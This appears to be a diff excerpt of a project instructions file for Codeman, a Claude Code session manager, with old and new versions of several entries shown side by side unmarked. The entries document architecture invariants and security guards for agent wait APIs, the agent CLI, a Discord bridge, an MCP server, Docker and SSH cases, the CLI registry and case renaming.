**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent CLI (`codeman agent …`, `src/cli-agent.ts`)**: the command-line client for the wait primitives and the session verbs, for agents the skill does not reach (pi, shell, no `jq`; `seedAgentSessionPreamble` covers every local session whose CLI takes the skill, `capabilities.agentSkillDir`; every pane still exports `CODEMAN_MUX`/`CODEMAN_SESSION_ID`/`CODEMAN_API_URL`). It is an HTTP CLIENT: inspection and guarded stage/submit use the ownership-checked `agent-session-routes.ts` module (experimental, behind `agentCoordinationEnabled`, SYNCED, default OFF: all three routes answer `403 FORBIDDEN` naming it while off, and the CLI shows that verbatim); the other verbs reuse existing routes, with no second transport (the plan's "Socket API" non-goal stands), every call carries `X-Codeman-Parent-Session`, only `spawn`'s quick-start carries `X-Codeman-Agent-Origin` (pinned in test/cli-agent.test.ts), while `spawn` without a case (cwd or `--working-dir`) is `POST /api/v1/sessions` plus `/interactive` or `/shell` without that header, so no agent-case marker, and refuses (exit 4, before any request) an empty `--working-dir` and a bare spawn from a HOME cwd, since it always sends an explicit `workingDir` and the server's no-`workingDir` hooks skip cannot apply (test/cli-agent-project-spawn.test.ts), auth (`src/codeman-credentials.ts`, shared with `codeman attach` and the TUI) from `CODEMAN_PASSWORD` or the data dir's `.env` (the same reader `codeman attach` uses — `readCodemanEnvFile`). Verbs return exit codes (`0` ok / `1` error / `2` timeout / `3` exited / `4` refused) instead of calling `process.exit`, so `test/cli-agent.test.ts` drives every verb against a recording fake transport plus the real `httpRequest` against a local server. ⚠️ Three guards live in code, not prose, and the tests pin them: refuse without `CODEMAN_MUX=1`+`CODEMAN_API_URL` (never guess a URL); `send` transmits printable text + `\r` only (`inputRefusal`: any byte < 0x20 or DEL refuses BEFORE the transport — opencode's `Ctrl+C` is `app_exit`), ESC exists solely as `interrupt` with no `\r`; `rm` fails closed (`deleteRefusal`: empty id, self shorter than 8, prefix match in EITHER direction, re-checked on the resolved id). ⚠️ The routes accept FULL ids only — an 8-char prefix is a 404 (measured live) — while `ls` prints prefixes, so `resolveSessionId` maps a short id through `GET /api/v1/sessions` and refuses an ambiguous one. It also refuses any id under 8 characters (exit 4, on every verb, before any request), the same floor as the server's `PARENT_SESSION_ID_MIN_PREFIX`, so `rm 9` can never pick an arbitrary session. ⚠️ A 400 for `--until stop` on a hook-less mode is passed through verbatim, never papered over: the marker path is the answer there. `spawn` on a readiness timeout exits 2 and LEAVES the session for inspection (the skill's `spawn_worker` deletes it; the CLI's caller is often a human); its stdout is the id ALONE (prose on stderr) so `SID=$(…)` works. ⚠️ Two server answers that look like success and are not: `delivered:false` without `duplicate` (the bytes went into a dead pane — the field exists so a client says "restart" instead of "wait longer") and `wait.ended:true, signal:null` (the worker died during a `stop`/`idle` wait: the registry satisfies only waiters that listed `exit`, then cancels the rest) — both exit 3, checked BEFORE the happy paths in `waitExitCode`. → README "`codeman agent`", `docs/api-reference.md`
**Discord bridge (`src/discord-bridge.ts`, `src/web/routes/discord-routes.ts`, `src/cli-notify.ts`)**: opt-in two-way Discord (a bot, not the one-way webhook), one thread per tab. Split like `webhook-notify.ts`: pure helpers, a 0600 store (`discord.json` holds the bot token, is never returned by these routes and is on the sensitive-path list; `discord-bridge.json` maps sessionId to thread id), then IO (`DiscordApi` REST with injected fetch, `DiscordGateway` inbound WebSocket with injected socket, `DiscordBridge` rules). Outbound hangs off `WebServer.sendPushNotifications` beside the webhook (so it works with zero push subscriptions) and tab events off `WebServer.broadcast` (`bridgeSessionEvent`); a finished turn (Claude's idle and stop hooks, DeepSeek's stop; the other CLIs raise no turn end, so theirs arrive with an error, a blocked respawn, a crash loop or `codeman notify`) or an error posts the CLI's WHOLE last message as markdown, read from its transcript through the response viewer's reader (`WebServer.lastResponseFor`, set by the session routes: the CLI's own transcript, or the pane segmented into turns for the CLIs that keep none; never for a shell), split over posts of at most 1900 characters and not posted twice (keyed on the text plus its turn, recorded only after the first post succeeds), while a dialog and every CLI without a transcript post the RENDERED tmux screen (`screenTail`, with the composer row and the status lines under it cut), never the raw stream, which a full-screen UI repaints in place; `staleThreads` (default `keep`) archives or deletes threads the bot owns that no tab maps to, after boot and then daily, never one under an hour old, never with an empty map and at most 25 per run. Inbound replies are typed through `session.writeViaMux`. ⚠️ Guards that live in code and tests pin: only `allowedUserIds`, in `guildId`, inside a thread the bridge created, are acted on, everything else is dropped unread; a reply is one printable line plus Enter (a lone digit while a permission or question is pending goes as the key alone, since the dialog acts on it), capped and rate limited, and `discord-notify` is a per-session token bucket (6 a minute, 429 `RATE_LIMITED`; `fileProblem` probes the folder with the bounded probe first); posts send `allowed_mentions` limited to the allowlisted ids; received files go only from Discord's own HTTPS hosts (max 5 x 8 MB, names reduced to `[A-Za-z0-9._-]`) into `<tab folder>/.codeman-discord/`, and a sent file's REAL path must lie inside the tab's folder (`fileProblem`, symlinks followed); a Discord failure never reaches a session; the alert tail is a function the bridge calls only once it will post (no tmux exec per event while off); a delete reaches the bridge from the cleanup path with `killMux` true, never from `session:deleted`, which a detach also fires; `.codeman-discord/` is probed with the bounded probe, refused if a symlink, and ignores itself with a `.gitignore` of `*`; a config restore of `discord.json` reloads the running bridge (`afterRestore`). The startup hint ("how to reach the user") rides the CLI registry as the engine value `appendSystemPrompt` (Claude's `--append-system-prompt`, undefined unless the bridge and `startupHint` are on, so every other launch is byte-identical) No other CLI is told. `codeman notify "<message>" [--urgent] [--file <path>]` wraps `POST /api/sessions/:id/discord-notify`, which accepts a unique 8-character id prefix (a Docker case exports it cut). → `docs/discord-bridge.md`, `docs/wiki/Discord-Bridge.md`, `docs/api-reference.md`
**MCP server (`codeman mcp`, `src/mcp-server.ts`)**: a Model Context Protocol server on stdio for any MCP client, a CLIENT of the HTTP API like `codeman agent` (reuses its `httpRequest`, `inputRefusal`, `buildSendBody`; the MCP server adds no routes). Seven tools: `list_sessions`, `start_session`, `send_prompt`, `wait_for_session`, `read_output`, `interrupt_session`, `delete_session`. ⚠️ Dual-era: answers the legacy `initialize` handshake (2024-11-05 to 2025-11-25) AND the 2026-07-28 revision (per-request `_meta` with `protocolVersion` + `clientCapabilities`, `server/discover`, `resultType: "complete"` on every modern result); a modern `tools/list`/`server/discover` MUST carry `ttlMs` + `cacheScope` (Claude Code 2.1.296 drops every tool without them: measured). ⚠️ stdout is protocol only; logs go to stderr. ⚠️ The URL comes from `--url`/`CODEMAN_API_URL`, never a guess, and unconfigured it still lists tools (registries introspect) while every call answers how to configure it. ⚠️ Prompt/interrupt/delete only sessions the PROCESS started (in-memory allowlist, so a restart fails closed) or, inside a pane, the calling session's own children, unless `--allow-any-session`; never its own session. ⚠️ `read_output` returns text ONLY, no `structuredContent` (a client that prefers it showed the model metadata instead of the output: measured). Waits default 45 s (Codex's MCP tool timeout is 60 s). Registry manifest `config/mcp-registry/server.json` (`mcpName` in package.json, version kept by `scripts/sync-plugin.mjs`). Tests: `test/mcp-server.test.ts`.
**Agent-created case marker** (`src/agent-case-marker.ts`): a case dir that `POST /api/quick-start` CREATES for an agent-driven spawn (signal: the preamble's `X-Codeman-Agent-Origin` header / `agentOrigin` field, else a resolved `parentSessionId`) gets `.codeman-agent-case.json`, published as `agentCreated` on `GET /api/cases`; `GET /api/cases/agent-created` is the cleanup listing (`inUse`, `modifiedAt`) behind Add Case → Manage. ⚠️ Only the branch that CREATES the directory may write it: never label a linked case, cloned repo or pre-existing path (it drives a recursive delete). ⚠️ Reading is total: anything but a well-formed v1 marker reads as not agent-created. ⚠️ Removal stays on `DELETE /api/cases/:name` (the ONE recursive-delete path), and the sweep excludes `inUse` cases. ⚠️ Changing the preamble's headers requires bumping `CODEMAN_PREAMBLE`. → [architecture-invariants#agent-created-case-marker](docs/architecture-invariants.md#agent-created-case-marker)
@@ -167,12 +170,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Cron (`CronJob`s)**: saved, named jobs on a recurring schedule (`once`/`interval`/`daily`/`weekly`) with per-job run history. ⚠️ **Distinct from the legacy `ScheduledRun`** (`/api/scheduled`, a run-now duration-bounded loop); the two never interact and keep separate `Scheduled*` / `Cron*` names. `CronService` **reuses the existing session layer** rather than rebuilding tmux logic. Next-run math is pure and unit-tested in `cron-time.ts` (server-local timezone). The schedule is advanced BEFORE launch so a slow launch cannot re-trigger. → [architecture-invariants#cron-jobs](docs/architecture-invariants.md#cron-jobs), `docs/cron-discovery.md`
**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk, are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs in a durable remote `tmux -L codeman-remote`, fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill**; owned ones propagate `kill-session`. Auto-reconnect (`remoteAutoReconnect`, default ON) revives ONLY when `remoteTmuxSessionAlive()` proves the remote session alive. ⚠️ Classify that probe by EXIT STATUS (`classifyRemoteAliveExit`), never stdout. ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**; never hand-build one. ⚠️ Remote file reads (`src/remote-files.ts`, attachment routes too) take browser paths only as `shellescape`d tokens, resolve symlinks fail-closed, cap on the REMOTE size, never copy to local disk (the one exception: the Edit history store keeps the diffs read from a remote session's transcripts), are bounded by `src/remote-ssh-limiter.ts`, and pick the host from the SESSION, never the path; no writes over ssh (the `PUT` guard must precede local path validation). ⚠️ Route remote cases through `POST /api/quick-start`, not `POST /api/sessions`. → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
**Wake-on-LAN (`remote-wake.ts`)**: optional `RemoteHost.wakeMac` (magic packet) or `RemoteHost.wakeCommand` (single executable, no shell, takes precedence) lets HTTP input, `POST /api/sessions/:id/wake` and the user's create/attach (`ensureHostAwake`) wake a sleeping host. ⚠️ Only an explicit user request may wake: never give the registry to the auto-reconnect watcher, `handleRemoteSessionDropped`, boot recovery or `cron-service.ts`, and `GET /api/sessions/:id/reachability` must never wake. ⚠️ Detection is a throttled bare TCP probe; never add `ServerAliveInterval`, and a `jumpHost`/`socksProxy`/`ProxyCommand` host is reachability-UNKNOWN (`isProbeable()`): never buffer, gate or banner on it. ⚠️ In multi-user mode a non-admin attach 403s BEFORE host lookup. ⚠️ WS keystrokes bypass the registry, so the banner (`host-wake-ui.js`) must not promise queued input. Waiting requests use the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`. → [architecture-invariants#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases)
**Docker cases**: a case can point at a **container** running any CLI mode inside it, a **LOCATION OVERLAY on cases, never a `SessionMode`**. One long-lived container **per case**, shared by its sessions: killing a session kills only its in-container tmux, **never** `docker stop` while siblings remain. The workspace is bind-mounted at the **same absolute path**. Credentials are **seeded**, never shared RW. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** A drifted config (label hash) REFUSES the launch. ⚠️ An **adopted** container (`DockerCase.owned === false`) is only `exec`ed into: never create, start, stop, restart, remove, `docker commit` or `docker pause` it; fail closed. Test `owned === false`, never truthiness. ⚠️ Apply `owned` AFTER `dockerConfigHash`. ⚠️ Run modes come from the CONTAINER (`availableModes`), and a failed probe is normal for an OWNED case. ⚠️ Root exec user drops the bypass flag via the registry's `overlays.docker.rootCommand`, never a branch. ⚠️ Adoption is admin-only in multi-user mode. ⚠️ Loopback prod needs `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for in-container hooks. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md`
**Adopted tmux sessions** (`src/foreign-tmux.ts` pure, `foreign-tmux-discovery.ts`, `foreign-sessions.js`, `POST /api/sessions/adopt`, admin-only in multi-user mode): a tmux session a human started (local, in a container, over ssh) opens as a tab through a wrapper session on OUR socket, a LOCATION OVERLAY like remote and Docker, never a `SessionMode`. ⚠️ `session.remote` and `session.docker` are undefined on one (the connection is on `adopt.*`) and its `workingDir` is the neutral `/tmp`, so anything that treats `workingDir` as the session's workspace, or branches on remote or docker to mean "not here", must also test `session.isAdopted`. The file surfaces are the one standing exception (owner decision 2026-11-06, no privilege gain): the Files panel, File Viewer, `html-view` and absolute-path links still use this host's `/tmp` and paths, even on a container or ssh tab. Gating them for remote and Docker adoptions is the planned follow-up, so do not copy the exception to a new surface. ⚠️ `isAdopted` asks who launched the process, so it is never folded into `isExternalCliMode()`. ⚠️ `foreignTargetKey()` is the ONE identity of a target; a socket and a name collide across containers and hosts. ⚠️ Never set anything on the foreign server beyond our own `codeman-view-*`: no `window-size`, no key tables. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start (`startShell()`'s `clear\n` submitted a half-typed command, and `shell` is also the answer for vim or psql). ⚠️ Session names are someone else's text: they pass the allowlist at discovery, so a browser only ever sends an opaque id, and a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`) is refused there too, or the `has-session` guard passes and the join lands elsewhere. ⚠️ A stopped tmux server holds our stdout pipe open past its client, so the probe pings each server with stdout at `/dev/null` first and `runForeignProbe()` lets go of the pipe at the deadline; never give `list-panes` the real stdout unpinged. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, like a remote or docker launch, never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on this host. → [architecture-invariants#adopted-foreign-tmux-sessions](docs/architecture-invariants.md#adopted-foreign-tmux-sessions), `docs/api-reference.md`
**Docker Compose deployment** (`docker/`): Codeman runs in a container and spawns Docker cases as **SIBLING** containers via the host socket, never nested. `resolveDockerDaemonMountSource()` maps HOME bind sources into the daemon's namespace (`CODEMAN_DOCKER_HOST_HOME`); `CODEMAN_CASES_PATH` makes workspaces resolve to the same absolute path on both sides. ⚠️ `CODEMAN_CASES_PATH` must move every consumer: resolve it only via `config/cases-dir.ts`. ⚠️ `.dockerignore` matches whole paths: keep `**/.env` or `docker/.env` secrets ship in the image. ⚠️ Long-form binds create missing sources ROOT-OWNED: `Start-Codeman.sh` pre-creates them, and `docker/entrypoint.sh` (root, `cap_add: [CHOWN, DAC_OVERRIDE, KILL, SETGID, SETUID]` against `cap_drop: ALL`, `KILL` for tini; pinned by the test) fixes ownership then drops to `PUID:PGID` via `setpriv`, never re-owning foreign dirs. ⚠️ Append `/opt/codeman-cli` and `~/.local/bin` to `PATH`, never prepend. ⚠️ `server.Dockerfile`, the compose file and `.env.example` feed the self-updater's environment gate (`docs/docker-self-update.md`). → [architecture-invariants#docker-compose-deployment](docs/architecture-invariants.md#docker-compose-deployment), `docs/docker-compose.md`
**CLI registry** (`src/config/cli-registry/`): every run mode is a `CliEntry` (discovery, launch argv template, env handling, `capabilities`, and the `overlays` behind remote/docker pane commands). **No code outside `stock.ts` may branch on a CLI id**: use a capability field or a NAMED PROFILE (`profiles.ts`); `test/cli-registry-no-id-branching.test.ts` and `test/frontend-cli-no-id-branching.test.ts` enforce it. ⚠️ Config holds typed argv tokens, never shell text; literals are validated at LOAD time and a bad one rejects the whole entry. ⚠️ Keep `external`, `hooks` and `altScreen` independent; never derive one from another. ⚠️ Config regexes (`discovery.version.regex`, `capabilities.workDetect.workingLine`, `capabilities.workDetect.watchingLine`, `capabilities.workDetect.awaitingLine`, `capabilities.workDetect.blockedLine`, `capabilities.workDetect.composerFooterLine`, `capabilities.workDetect.composerPopupLine`, `capabilities.modelDetect.screenLine`) must compile through `compileVersionRegex()`. ⚠️ `privilegedParams[].param` names a LAUNCH PARAM, not the legacy `<Mode>Config` field (bridged only by `launch.legacyConfigAliases`); a wrong name silently clamps nothing. ⚠️ Resolve the registry AT CALL TIME, never in a module-level const. ⚠️ Remote claude/omp arms of `buildRemoteLaunchCommand` are not covered by the pane-command golden. `~/.codeman/clis.json` overrides entries. It is WRITTEN only by the opt-in CLI management routes (`cliManagementEnabled`, default OFF; `/api/clis`, `cli-registry-routes.ts`), and only through `mutateRegistryFile()` in `registry-writer.ts` (the one exception: a config-backup restore of `clis.json`, which then calls `reloadCliRegistry()`), which serializes mutations and refuses (409) a file that does not parse or has group/world permission bits rather than overwriting it. Importing the registry still writes nothing. → [architecture-invariants#cli-registry](docs/architecture-invariants.md#cli-registry), `docs/cli-registry.md`
@@ -181,15 +186,17 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**DeepSeek web UI** (`POST`/`GET`/`DELETE /api/deepseek/web`, `deepseek-web-server.ts`): the Run menu's "DeepSeek web UI..." entry supervises ONE background `dsh web` child process, deliberately **NOT a shell session**. ⚠️ Every piece is load-bearing: exactly one server (a second click REUSES it), restarted when the browser authority changes (`--trusted-host`, last asker wins), killed on shutdown via `stopDeepSeekWeb()` (the detached child would otherwise outlive Codeman and hold its port), and failures returned to the caller. ⚠️ Never hardcode the port: search from 3080 across 40, detect free ports by BINDING, then wait for the server to really answer. ⚠️ Both `POST` and `DELETE` must stay behind `canUsernameRunPrivilegedCommands` (booting a profile runs its plugin code; the server is shared). → [architecture-invariants#deepseek-web-ui](docs/architecture-invariants.md#deepseek-web-ui)
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, and both are restored if the registry write fails.
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`.
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key). ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
